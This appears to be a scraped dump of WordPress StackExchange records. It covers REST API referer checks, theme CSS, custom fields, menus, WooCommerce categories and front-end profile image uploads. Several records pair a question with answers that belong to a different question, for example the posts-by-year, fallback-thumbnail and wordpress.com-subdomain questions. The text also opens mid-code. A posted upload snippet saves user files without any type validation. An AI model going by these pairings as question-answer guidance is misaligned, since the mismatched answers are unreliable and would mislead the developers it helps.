echo $tag_title.' · '; } } echo '</span>'; } ``` P.S. watch your code! In the snippet you posted is an error on the end `echo '</span> }`. You're missing an `'`
281,916
<p>Using WP 4.8.2</p> <p>What is the best way to check the requesting URL when processing a request with the rest-api? </p> <p>For example, a site receives a request and you want to check if it came from an 'allowed' URL. And fail if the URL is not allowed. </p> <p>This does not work: </p> <pre><code>function my_check_request_url( $request, $url ) { $bits = parse_url( $url ); if ( $bits['host'] != 'example.com' ) $request = false; return $request; } add_filter( 'rest_request_from_url', 'my_check_request_url', 10, 2 ); </code></pre>
[ { "answer_id": 282180, "author": "ssnepenthe", "author_id": 125601, "author_profile": "https://wordpress.stackexchange.com/users/125601", "pm_score": 4, "selected": true, "text": "<p>That filter is definitely not the one you are looking for. That filter fires before returning the result ...
2017/10/04
[ "https://wordpress.stackexchange.com/questions/281916", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/16575/" ]
Using WP 4.8.2 What is the best way to check the requesting URL when processing a request with the rest-api? For example, a site receives a request and you want to check if it came from an 'allowed' URL. And fail if the URL is not allowed. This does not work: ``` function my_check_request_url( $request, $url ) { $bits = parse_url( $url ); if ( $bits['host'] != 'example.com' ) $request = false; return $request; } add_filter( 'rest_request_from_url', 'my_check_request_url', 10, 2 ); ```
That filter is definitely not the one you are looking for. That filter fires before returning the result of `WP_REST_Request::from_url()` which appears to be a factory method that is only used internally to handle embeds. A better option is to return a `WP_Error` instance on the [`rest_pre_dispatch` filter](https://developer.wordpress.org/reference/hooks/rest_pre_dispatch/). Some caveats: As mentioned by @milo, the referer is not reliable and shouldn't be used for a security check. Additionally, it is not guaranteed to be set. With those out of the way, here is an example of how you might use the `rest_pre_dispatch` filter to cause the request to fail if it is from a bad referer: ``` function wpse281916_rest_check_referer( $result, $server, $request ) { if ( null !== $result ) { // Core starts with a null value. // If it is no longer null, another callback has claimed this request. // Up to you how to handle - for this example we will just return early. return $result; } $referer = $request->get_header( 'referer' ); if ( ! $referer ) { // Referer header is not set - If referer is required, return a WP_Error instance instead. return $result; } $host = wp_parse_url( $referer, PHP_URL_HOST ); if ( ! $host ) { // Referer is malformed - If referer is required, return a WP_Error instance instead. return $result; } if ( 'mysite.com' !== $host ) { // Referer is set to something that we don't allow. return new WP_Error( 'invalid-referer', 'Requests must contain a valid referer', compact( 'referer' ) ); } // Otherwise we are good - return original result and let WordPress handle as usual. return $result; } add_filter( 'rest_pre_dispatch', 'wpse281916_rest_check_referer', 10, 3 ); ```
281,939
<p>Forgive my ignorance in the matter, as i've only just started delving into wordpress. But, i was wondering if theres a way to use <code>header_image()</code> in CSS.</p> <p>So, for example my <code>functions.php</code> is allowing me to enqueue a php file with the header: </p> <p><code>&lt;?php header("Content-type: text/css; charset: UTF-8;"); ?&gt;</code></p> <p>Allowing me to manipulate my theme with it. Now, I want my header image to be editable through the customizer instead of the user having to navigate the CSS files. So for example: </p> <pre><code>.headerimg { /* Set a specific height */ height: 700px; /* Create the parallax scrolling effect */ background-image: url("&lt;?php header_image()?&gt;"); background-attachment: fixed; background-position: center; background-repeat: no-repeat; background-size: cover; /* Styling */ border-top: 3px solid transparent; border-bottom: 3px solid #0099FF; } </code></pre> <p>This of course, doesn't work, and throws the error:</p> <blockquote> <p><b>Fatal error</b>: Uncaught Error: Call to undefined function header_image() in [filepath]</p> </blockquote> <p>So, in short - is there some way to accomplish this effect? Or will i have to rely on just using straight up <code>&lt;img&gt;</code> elements</p>
[ { "answer_id": 281941, "author": "Pierpaolo Ercoli", "author_id": 120008, "author_profile": "https://wordpress.stackexchange.com/users/120008", "pm_score": 3, "selected": true, "text": "<p>No, in general, it's not possible to use php in CSS. But you can set background image in php file. ...
2017/10/05
[ "https://wordpress.stackexchange.com/questions/281939", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129062/" ]
Forgive my ignorance in the matter, as i've only just started delving into wordpress. But, i was wondering if theres a way to use `header_image()` in CSS. So, for example my `functions.php` is allowing me to enqueue a php file with the header: `<?php header("Content-type: text/css; charset: UTF-8;"); ?>` Allowing me to manipulate my theme with it. Now, I want my header image to be editable through the customizer instead of the user having to navigate the CSS files. So for example: ``` .headerimg { /* Set a specific height */ height: 700px; /* Create the parallax scrolling effect */ background-image: url("<?php header_image()?>"); background-attachment: fixed; background-position: center; background-repeat: no-repeat; background-size: cover; /* Styling */ border-top: 3px solid transparent; border-bottom: 3px solid #0099FF; } ``` This of course, doesn't work, and throws the error: > > **Fatal error**: Uncaught Error: Call to undefined function header\_image() in [filepath] > > > So, in short - is there some way to accomplish this effect? Or will i have to rely on just using straight up `<img>` elements
No, in general, it's not possible to use php in CSS. But you can set background image in php file. Like.. ``` <div class="headerimg" style="background-image: url(<?php echo header_image(); ?>)"></div> ``` Then in CSS file using class you can set all the other properties you need like height, width, background-position and so on.
281,958
<p>How to add a custom field to my post when created programmatically?</p> <p>I am trying to create a post programmatically, and store a value in a column created directly from PhpMyAdmin.</p> <p><a href="https://i.stack.imgur.com/CTjyu.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CTjyu.jpg" alt="enter image description here"></a></p> <p>Here is how I am creating the post:</p> <pre><code>$post_title = $post-&gt;title-&gt;rendered; $post_content = $post-&gt;content-&gt;rendered; $post_check = get_page_by_title($post_title); $post = array( 'post_type' =&gt; 'post', 'post_title' =&gt; $post_title, 'post_content' =&gt; $post_content, 'post_status' =&gt; 'publish', 'post_author' =&gt; 1, 'post_slug' =&gt; $post_title, 'post_imported_id' =&gt; 3 ); $post_id = wp_insert_post($post); if ($post_id) { add_post_meta( $post_id, 'post_imported_id', 3 ); } </code></pre> <p>The post is created and all default fields are well saved too.</p> <p>The problem is that my "post_imported_id" is not taken in consideration.</p>
[ { "answer_id": 281961, "author": "cybmeta", "author_id": 37428, "author_profile": "https://wordpress.stackexchange.com/users/37428", "pm_score": 2, "selected": false, "text": "<p>You have created a custom field by altering the post table in the database. Custom fields in WordPress API ar...
2017/10/05
[ "https://wordpress.stackexchange.com/questions/281958", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129073/" ]
How to add a custom field to my post when created programmatically? I am trying to create a post programmatically, and store a value in a column created directly from PhpMyAdmin. [![enter image description here](https://i.stack.imgur.com/CTjyu.jpg)](https://i.stack.imgur.com/CTjyu.jpg) Here is how I am creating the post: ``` $post_title = $post->title->rendered; $post_content = $post->content->rendered; $post_check = get_page_by_title($post_title); $post = array( 'post_type' => 'post', 'post_title' => $post_title, 'post_content' => $post_content, 'post_status' => 'publish', 'post_author' => 1, 'post_slug' => $post_title, 'post_imported_id' => 3 ); $post_id = wp_insert_post($post); if ($post_id) { add_post_meta( $post_id, 'post_imported_id', 3 ); } ``` The post is created and all default fields are well saved too. The problem is that my "post\_imported\_id" is not taken in consideration.
You have created a custom field by altering the post table in the database. Custom fields in WordPress API are considered meta fields; such fields are stored in `wp_postmeta` table and that is the table used by functions like `add_post_meta()` and the rest of the functions and methods related with post custom/meta fields. You can check how to work with meta/custom fields in the [MetaData section of plugin developer handbook](https://developer.wordpress.org/plugins/metadata/). PD: Altering core database tables is considered a very bad practice.
281,981
<p>I want to display all the posts separated by years. Like that.</p> <p><strong>2017</strong></p> <ul> <li>Post 1 / december 17</li> <li>Post 2 / July 7</li> <li>Post 3 / March 25</li> </ul> <p><strong>2016</strong></p> <ul> <li>Post 1 / december 25</li> <li>Post 2 / July 14</li> <li>Post 3 / March 31</li> </ul> <p>The code I actually have is totally different of what i want, because after try a lot of posibilities doesnt work. BTW I type here how actually I have. A loop with a tittle, excerpt, date, tags, author and a link to read more. I only want to mantain the name of the post, the date, and a link to read more. This posts separate by years as I explain before.</p> <pre><code>&lt;!-- language: lang-php --&gt; &lt;?php if( have_posts() ) : while ( have_posts() ) : the_post(); ?&gt; &lt;article class=""&gt; &lt;div class""&gt; &lt;h2 class=""&gt;&lt;a class="" href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h2&gt; &lt;p&gt; &lt;span class=""&gt; &lt;small class=""&gt;&lt;/span&gt; &lt;?php comments_number( 'sin comentarios', 'un comentario', '% comentarios' ); ?&gt;&lt;/small&gt; &lt;span class=""&gt; &lt;/span&gt;&lt;small class=""&gt; &lt;?php the_date(); ?&gt; &lt;/small&gt; &lt;/p&gt; &lt;/div&gt; &lt;?php the_post_thumbnail("medium") ?&gt; &lt;div class=""&gt;&lt;?php the_excerpt(); ?&gt;&lt;/div&gt; &lt;div class=""&gt; &lt;br&gt; &lt;small&gt;Por: &lt;?php the_author(); ?&gt; &lt;/small&gt; &lt;small&gt;&lt;?php the_author_meta("description"); ?&gt;&lt;/small&gt; &lt;/div&gt; &lt;a class="" href="&lt;?php the_permalink() ;?&gt;"&gt;Seguir Leyendo&lt;/a&gt; &lt;/article&gt; &lt;div class=""&gt;&lt;/div&gt; &lt;?php endwhile; else : ?&gt; &lt;?php endif; ?&gt; &lt;p&gt;&lt;?php get_the_posts_pagination() ?&gt;&lt;/p&gt; &lt;P class=""&gt;&lt;?php echo paginate_links( $args ); ?&gt;&lt;/P&gt; </code></pre>
[ { "answer_id": 281961, "author": "cybmeta", "author_id": 37428, "author_profile": "https://wordpress.stackexchange.com/users/37428", "pm_score": 2, "selected": false, "text": "<p>You have created a custom field by altering the post table in the database. Custom fields in WordPress API ar...
2017/10/05
[ "https://wordpress.stackexchange.com/questions/281981", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129080/" ]
I want to display all the posts separated by years. Like that. **2017** * Post 1 / december 17 * Post 2 / July 7 * Post 3 / March 25 **2016** * Post 1 / december 25 * Post 2 / July 14 * Post 3 / March 31 The code I actually have is totally different of what i want, because after try a lot of posibilities doesnt work. BTW I type here how actually I have. A loop with a tittle, excerpt, date, tags, author and a link to read more. I only want to mantain the name of the post, the date, and a link to read more. This posts separate by years as I explain before. ``` <!-- language: lang-php --> <?php if( have_posts() ) : while ( have_posts() ) : the_post(); ?> <article class=""> <div class""> <h2 class=""><a class="" href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2> <p> <span class=""> <small class=""></span> <?php comments_number( 'sin comentarios', 'un comentario', '% comentarios' ); ?></small> <span class=""> </span><small class=""> <?php the_date(); ?> </small> </p> </div> <?php the_post_thumbnail("medium") ?> <div class=""><?php the_excerpt(); ?></div> <div class=""> <br> <small>Por: <?php the_author(); ?> </small> <small><?php the_author_meta("description"); ?></small> </div> <a class="" href="<?php the_permalink() ;?>">Seguir Leyendo</a> </article> <div class=""></div> <?php endwhile; else : ?> <?php endif; ?> <p><?php get_the_posts_pagination() ?></p> <P class=""><?php echo paginate_links( $args ); ?></P> ```
You have created a custom field by altering the post table in the database. Custom fields in WordPress API are considered meta fields; such fields are stored in `wp_postmeta` table and that is the table used by functions like `add_post_meta()` and the rest of the functions and methods related with post custom/meta fields. You can check how to work with meta/custom fields in the [MetaData section of plugin developer handbook](https://developer.wordpress.org/plugins/metadata/). PD: Altering core database tables is considered a very bad practice.
281,987
<p>I am trying to add a menu item programmatically through a plugin to a menu based on location and i want this to be added to the location that is attached to the homepage's menu.</p> <p>This is my code:</p> <pre><code>//Add user menu item add_filter( 'wp_nav_menu_items', 'add_user_link', 10, 2); /** * Add a login link to the members navigation */ function add_user_link( $items, $args ){ if($args-&gt;theme_location == 'menu' ) { $items .= '&lt;li&gt;&lt;a href="'. site_url() .'/user'.'"&gt;'.__("User Control","user-control").'&lt;/a&gt;&lt;/li&gt;'; } return $items; } </code></pre> <p>which i want to replace the <code>menu</code> value with the homepage menu location, so is there any way to know to which location the homepage menu is assigned.</p>
[ { "answer_id": 282011, "author": "David Lee", "author_id": 111965, "author_profile": "https://wordpress.stackexchange.com/users/111965", "pm_score": 2, "selected": true, "text": "<p>You can use <code>get_nav_menu_locations()</code> to get an array of locations that are being used (a menu...
2017/10/05
[ "https://wordpress.stackexchange.com/questions/281987", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102224/" ]
I am trying to add a menu item programmatically through a plugin to a menu based on location and i want this to be added to the location that is attached to the homepage's menu. This is my code: ``` //Add user menu item add_filter( 'wp_nav_menu_items', 'add_user_link', 10, 2); /** * Add a login link to the members navigation */ function add_user_link( $items, $args ){ if($args->theme_location == 'menu' ) { $items .= '<li><a href="'. site_url() .'/user'.'">'.__("User Control","user-control").'</a></li>'; } return $items; } ``` which i want to replace the `menu` value with the homepage menu location, so is there any way to know to which location the homepage menu is assigned.
You can use `get_nav_menu_locations()` to get an array of locations that are being used (a menu has been assigned to it), it shows like this: ``` Array ( [header-menu] => 4 [extra-menu] => 6 ) ``` the `4` and `6` are the menu IDs, i think you already have an ID so this should be enough, now the thing is, if there is no menu location being used or there is no location at all the array will show empty, that doesnt mean a menu isnt being shown, because in the theme there could be a `wp_nav_menu( array( 'theme_location' => 'whatever' ) )` being used and Wordpress will: > > By default, WordPress displays the first non-empty menu when the > specified menu or location is not found > > > in that case you can get a list of menus using `get_terms( 'nav_menu' )`, it will show an array like this: ``` Array ( [0] => WP_Term Object ( [term_id] => 6 [name] => Another Menu [slug] => another-menu [term_group] => 0 [term_taxonomy_id] => 6 [taxonomy] => nav_menu [description] => [parent] => 0 [count] => 2 [filter] => raw ) [1] => WP_Term Object ( [term_id] => 4 [name] => Main Navigation Menu [slug] => main-navigation-menu [term_group] => 0 [term_taxonomy_id] => 4 [taxonomy] => nav_menu [description] => [parent] => 0 [count] => 12 [filter] => raw ) ) ``` you can check which one is the `non-empty` menu checking the `[count]` value, or you can find the first empty one and add your menu item since i see that is your objective. Here is a code to loop all menu items of all menus: ``` $menus = get_terms('nav_menu'); foreach ($menus as $menu) {//we loop all menus $menu_id = $menu->term_id;//we get the ID $menu_items_array = wp_get_nav_menu_items($menu_id);//we get the menu foreach ($menu_items_array as $menu_item) {//we loop all the menu items of the menu if($menu_item->post_name == "home") { //you can add more conditions here to check if its the home link //THIS IS THE HOME MENU ITEM echo "<pre>"; print_r($menu_item);//here a list of values that you can use echo "</pre>"; } } } ```
282,022
<p>I wish someone can give me a clue.</p> <p>I am actually displaying all product category (product_cat taxonomy) on single page products, displaying also childs regarding the product itself. </p> <p>For instance: Product-A has Cat1-parent > Cat1-child1, Cat1-child2 => The code display them properly but also will display any other Parent Category that belongs to an another existing product.... result I get an extra parent category displaying with no childs. </p> <p>So Id like to display only parent categories that belongs to the product itself.</p> <p>I think I am missing some knowledge in the beginning of the code with the get_terms function</p> <pre><code>$parents = get_terms( 'product_cat' , array( 'parent' =&gt; 0 ) ); foreach( $parents as $parent ): echo '&lt;div class="parent '.$parent-&gt;slug.'"&gt;' . $parent-&gt;name . '&lt;/div&gt;'; </code></pre>
[ { "answer_id": 282025, "author": "socki03", "author_id": 43511, "author_profile": "https://wordpress.stackexchange.com/users/43511", "pm_score": 3, "selected": true, "text": "<p><a href=\"https://developer.wordpress.org/reference/functions/get_terms/\" rel=\"nofollow noreferrer\"><code>g...
2017/10/05
[ "https://wordpress.stackexchange.com/questions/282022", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129102/" ]
I wish someone can give me a clue. I am actually displaying all product category (product\_cat taxonomy) on single page products, displaying also childs regarding the product itself. For instance: Product-A has Cat1-parent > Cat1-child1, Cat1-child2 => The code display them properly but also will display any other Parent Category that belongs to an another existing product.... result I get an extra parent category displaying with no childs. So Id like to display only parent categories that belongs to the product itself. I think I am missing some knowledge in the beginning of the code with the get\_terms function ``` $parents = get_terms( 'product_cat' , array( 'parent' => 0 ) ); foreach( $parents as $parent ): echo '<div class="parent '.$parent->slug.'">' . $parent->name . '</div>'; ```
[`get_terms`](https://developer.wordpress.org/reference/functions/get_terms/) relates to getting all the terms of a taxonomy. [`get_the_terms`](https://developer.wordpress.org/reference/functions/get_the_terms/) grabs all the terms related to the post. The problem is that it sounds like you only want to return those terms which are parent categories, not the children, and `get_the_terms` does not pass an arguments array. ``` $terms = get_the_terms( get_the_ID(), 'product_cat' ); foreach ( $terms as $term ){ if ( $term->parent == 0 ) { echo '<div class="parent '.$term->slug.'">' . $term->name . '</div>'; } } ```
282,026
<p>I have a front end user profile template I am working on, and everything is working fine except for upload a profile picture. I have a custom user field created and I am trying to use the button file type to upload the picture and store the URL in my custom field. </p> <p>Take a look - <a href="https://pastebin.com/rPErwCgU" rel="nofollow noreferrer">https://pastebin.com/rPErwCgU</a></p> <p>I'm currently already using this code for my front end post upload, it allows multiple pictures. I need to figure out how to do this for a user with only 1 photo and storing it in a custom field attached to the current user --</p> <pre><code>if (!empty($_FILES['sightMulti']['tmp_name'][0])) { $i = 1; $files = $_FILES['sightMulti']; foreach ($files['name'] as $key =&gt; $value) { if ($files['name'][$key]) { $file = array( 'name' =&gt; $files['name'][$key], 'type' =&gt; $files['type'][$key], 'tmp_name' =&gt; $files['tmp_name'][$key], 'error' =&gt; $files['error'][$key], 'size' =&gt; $files['size'][$key] ); $_FILES = array("sight" . $i =&gt; $file); $newuploadMulti = sight("sight" . $i, $pid); if ($i == 1) { update_post_meta($pid, '_thumbnail_id', $newuploadMulti); } add_post_meta($pid, 'imic_property_sights', $newuploadMulti, false); } $i++; } } </code></pre> <p>The field in the form --</p> <pre><code>&lt;div class="col-md-12 col-sm-12"&gt; &lt;label&gt;&lt;?php _e('Upload Images', 'framework'); ?&gt;&lt;/label&gt; &lt;p&gt;&lt;?php _e('Upload images that are best clicked for better appearance of your property', 'framework'); ?&gt;&lt;/p&gt; &lt;/div&gt; &lt;div class="row" id="multiplePhotos" style="margin-top:15px;"&gt; &lt;div class="col-md-12 col-sm-12"&gt; &lt;?php echo'&lt;div class="image-placeholder" id="photoList"&gt;'; if (!empty($property_sights_value)) { foreach ($property_sights_value as $property_sights) { $default_featured_image = get_post_meta($Property_Id, '_thumbnail_id', true); if ($default_featured_image == $property_sights) { $def_class = 'default-feat-image'; } else { $def_class = ''; } echo '&lt;div class="col-md-2 col-sm-2"&gt;'; echo '&lt;div id="property-img"&gt;&lt;div id="property-thumb" class="' . $def_class . '"&gt;&lt;a id="feat-image" class="accent-color default-image" data-original-title="Set as default image" data-toggle="tooltip" style="text-decoration:none;" href="#"&gt;&lt;div class="property-details" style="display:none;"&gt;&lt;span class="property-id"&gt;' . $Property_Id . '&lt;/span&gt;&lt;span class="thumb-id"&gt;' . $property_sights . '&lt;/span&gt;&lt;/div&gt;&lt;img src="' . wp_get_attachment_thumb_url($property_sights) . '" class="image-placeholder" id="filePhoto2" alt=""/&gt;&lt;/a&gt;'; if (get_query_var('site')) { echo '&lt;input rel="' . $Property_Id . '" type="button" id="' . $property_sights . '" value="Remove" class="btn btn-sm btn-default remove-image"&gt;'; } echo '&lt;/div&gt;&lt;/div&gt;'; echo '&lt;/div&gt;'; } } echo '&lt;/div&gt;'; ?&gt; &lt;input id="filePhotoMulti" type="file" name="sightMulti[]" multiple onChange="previewMultiPhotos();"&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p><strong>UPDATE</strong></p> <p>This is what I have right up top with the rest of my fields that save fine -</p> <pre><code>if ( !empty( $_POST['agent-image'] ) ) update_user_meta( $current_user-&gt;ID, 'agent_image', esc_attr( $_POST['agent-image'] ) ); if(!empty($_FILES)) { $uploaddir = wp_upload_dir(); $file = $_FILES[agent-image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' =&gt; $wp_filetype['type'], 'post_title' =&gt; preg_replace('/\.[^.]+$/', '', $filename), ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); } </code></pre> <p>My input field --</p> <pre><code>&lt;input type="file" name="agent-image"&gt; </code></pre> <p>How I'm using it on the author.php template -- </p> <pre><code>&lt;?php $author_pic = get_the_author_meta('agent-image', $user-&gt;ID); echo '&lt;div&gt;&lt;img src="'. $author_pic .'" alt="'. $userName .'" class="img-thumbnail authppic"&gt;&lt;/div&gt;'; ?&gt; </code></pre> <p><strong>UPDATE 2</strong></p> <p>Code is now causing that page to give me a HTTP 500 error -- </p> <pre><code>if ( !empty( $_FILES[agent-image][name] )) { $uploaddir = wp_upload_dir(); $file = $_FILES[agent-image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' =&gt; $wp_filetype['type'], 'post_title' =&gt; preg_replace('/\.[^.]+$/', '', $filename), ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); update_user_meta( $current_user-&gt;ID, 'agent_image', $attach_id )); } </code></pre>
[ { "answer_id": 282392, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<pre><code>if ( !empty( $_FILES[agent-image][name] ) ) {\n\n $file = $_FILES[agent-image];\n\n ...
2017/10/05
[ "https://wordpress.stackexchange.com/questions/282026", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/24067/" ]
I have a front end user profile template I am working on, and everything is working fine except for upload a profile picture. I have a custom user field created and I am trying to use the button file type to upload the picture and store the URL in my custom field. Take a look - <https://pastebin.com/rPErwCgU> I'm currently already using this code for my front end post upload, it allows multiple pictures. I need to figure out how to do this for a user with only 1 photo and storing it in a custom field attached to the current user -- ``` if (!empty($_FILES['sightMulti']['tmp_name'][0])) { $i = 1; $files = $_FILES['sightMulti']; foreach ($files['name'] as $key => $value) { if ($files['name'][$key]) { $file = array( 'name' => $files['name'][$key], 'type' => $files['type'][$key], 'tmp_name' => $files['tmp_name'][$key], 'error' => $files['error'][$key], 'size' => $files['size'][$key] ); $_FILES = array("sight" . $i => $file); $newuploadMulti = sight("sight" . $i, $pid); if ($i == 1) { update_post_meta($pid, '_thumbnail_id', $newuploadMulti); } add_post_meta($pid, 'imic_property_sights', $newuploadMulti, false); } $i++; } } ``` The field in the form -- ``` <div class="col-md-12 col-sm-12"> <label><?php _e('Upload Images', 'framework'); ?></label> <p><?php _e('Upload images that are best clicked for better appearance of your property', 'framework'); ?></p> </div> <div class="row" id="multiplePhotos" style="margin-top:15px;"> <div class="col-md-12 col-sm-12"> <?php echo'<div class="image-placeholder" id="photoList">'; if (!empty($property_sights_value)) { foreach ($property_sights_value as $property_sights) { $default_featured_image = get_post_meta($Property_Id, '_thumbnail_id', true); if ($default_featured_image == $property_sights) { $def_class = 'default-feat-image'; } else { $def_class = ''; } echo '<div class="col-md-2 col-sm-2">'; echo '<div id="property-img"><div id="property-thumb" class="' . $def_class . '"><a id="feat-image" class="accent-color default-image" data-original-title="Set as default image" data-toggle="tooltip" style="text-decoration:none;" href="#"><div class="property-details" style="display:none;"><span class="property-id">' . $Property_Id . '</span><span class="thumb-id">' . $property_sights . '</span></div><img src="' . wp_get_attachment_thumb_url($property_sights) . '" class="image-placeholder" id="filePhoto2" alt=""/></a>'; if (get_query_var('site')) { echo '<input rel="' . $Property_Id . '" type="button" id="' . $property_sights . '" value="Remove" class="btn btn-sm btn-default remove-image">'; } echo '</div></div>'; echo '</div>'; } } echo '</div>'; ?> <input id="filePhotoMulti" type="file" name="sightMulti[]" multiple onChange="previewMultiPhotos();"> </div> </div> ``` **UPDATE** This is what I have right up top with the rest of my fields that save fine - ``` if ( !empty( $_POST['agent-image'] ) ) update_user_meta( $current_user->ID, 'agent_image', esc_attr( $_POST['agent-image'] ) ); if(!empty($_FILES)) { $uploaddir = wp_upload_dir(); $file = $_FILES[agent-image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' => $wp_filetype['type'], 'post_title' => preg_replace('/\.[^.]+$/', '', $filename), ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); } ``` My input field -- ``` <input type="file" name="agent-image"> ``` How I'm using it on the author.php template -- ``` <?php $author_pic = get_the_author_meta('agent-image', $user->ID); echo '<div><img src="'. $author_pic .'" alt="'. $userName .'" class="img-thumbnail authppic"></div>'; ?> ``` **UPDATE 2** Code is now causing that page to give me a HTTP 500 error -- ``` if ( !empty( $_FILES[agent-image][name] )) { $uploaddir = wp_upload_dir(); $file = $_FILES[agent-image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' => $wp_filetype['type'], 'post_title' => preg_replace('/\.[^.]+$/', '', $filename), ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); update_user_meta( $current_user->ID, 'agent_image', $attach_id )); } ```
UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. I highly recommend using [CMB2](https://github.com/CMB2/CMB2) to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links: * <https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end> * <https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/> You have 3 functions (function names are from the second linked article above): One registers the cmb2 fields ``` function wds_frontend_form_register() { //code.. } ``` One create a shortcode for displaying the form: ``` function wds_do_frontend_form_submission_shortcode( $atts = array() ) { //code.. } ``` and the third handles the submission of the form: ``` function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) { //code.. } ``` You can easily update your user instead of inserting a post here with [wp\_update\_user()](https://codex.wordpress.org/Function_Reference/wp_update_user) and [update\_user\_meta().](https://codex.wordpress.org/Function_Reference/update_user_meta) Full code examples are available through the links. [CMB2 field types reference docs here](https://github.com/CMB2/CMB2/wiki/Field-Types). [Link to file field type (allowing image upload)](https://github.com/CMB2/CMB2/wiki/Field-Types#file). This linked [example-functions.php](https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530) also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there. Good luck. I really recommend [CMB2](https://github.com/CMB2/CMB2) it is brilliant.
282,036
<p>I'm trying to setup a fallback image for featured image.<br><br> The main problem I have is miss of filter for <code>get_the_post_thumbnail_url()</code>. I'm using this function to echo thumb url in many-many templates, because it is easy customizable. So, this is not a solution to make an if-condition for each usage. And even to set default image for blank featured image, because it may be changed.<br><br> I see that I might apply filter to <code>get_post_thumbnail_id()</code>, but most likely I need an external URL to this fallback image, hardcoded in this theme. But, even if I can't apply external image, how can I make default image for <code>get_the_post_thumbnail_url()</code> function?</p>
[ { "answer_id": 282392, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<pre><code>if ( !empty( $_FILES[agent-image][name] ) ) {\n\n $file = $_FILES[agent-image];\n\n ...
2017/10/05
[ "https://wordpress.stackexchange.com/questions/282036", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/28575/" ]
I'm trying to setup a fallback image for featured image. The main problem I have is miss of filter for `get_the_post_thumbnail_url()`. I'm using this function to echo thumb url in many-many templates, because it is easy customizable. So, this is not a solution to make an if-condition for each usage. And even to set default image for blank featured image, because it may be changed. I see that I might apply filter to `get_post_thumbnail_id()`, but most likely I need an external URL to this fallback image, hardcoded in this theme. But, even if I can't apply external image, how can I make default image for `get_the_post_thumbnail_url()` function?
UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. I highly recommend using [CMB2](https://github.com/CMB2/CMB2) to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links: * <https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end> * <https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/> You have 3 functions (function names are from the second linked article above): One registers the cmb2 fields ``` function wds_frontend_form_register() { //code.. } ``` One create a shortcode for displaying the form: ``` function wds_do_frontend_form_submission_shortcode( $atts = array() ) { //code.. } ``` and the third handles the submission of the form: ``` function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) { //code.. } ``` You can easily update your user instead of inserting a post here with [wp\_update\_user()](https://codex.wordpress.org/Function_Reference/wp_update_user) and [update\_user\_meta().](https://codex.wordpress.org/Function_Reference/update_user_meta) Full code examples are available through the links. [CMB2 field types reference docs here](https://github.com/CMB2/CMB2/wiki/Field-Types). [Link to file field type (allowing image upload)](https://github.com/CMB2/CMB2/wiki/Field-Types#file). This linked [example-functions.php](https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530) also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there. Good luck. I really recommend [CMB2](https://github.com/CMB2/CMB2) it is brilliant.
282,065
<p>Our small company is making a website using Wordpress free version. We had used wordpress in the past and would like to continue using it but our subdomain reads www.(ourname)blog.wordpress.com. Our website is not a blog and it would look bit more professional if the blog part is removed. Is there a way to get rid of it?</p> <p>Thank You!</p>
[ { "answer_id": 282392, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<pre><code>if ( !empty( $_FILES[agent-image][name] ) ) {\n\n $file = $_FILES[agent-image];\n\n ...
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282065", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129141/" ]
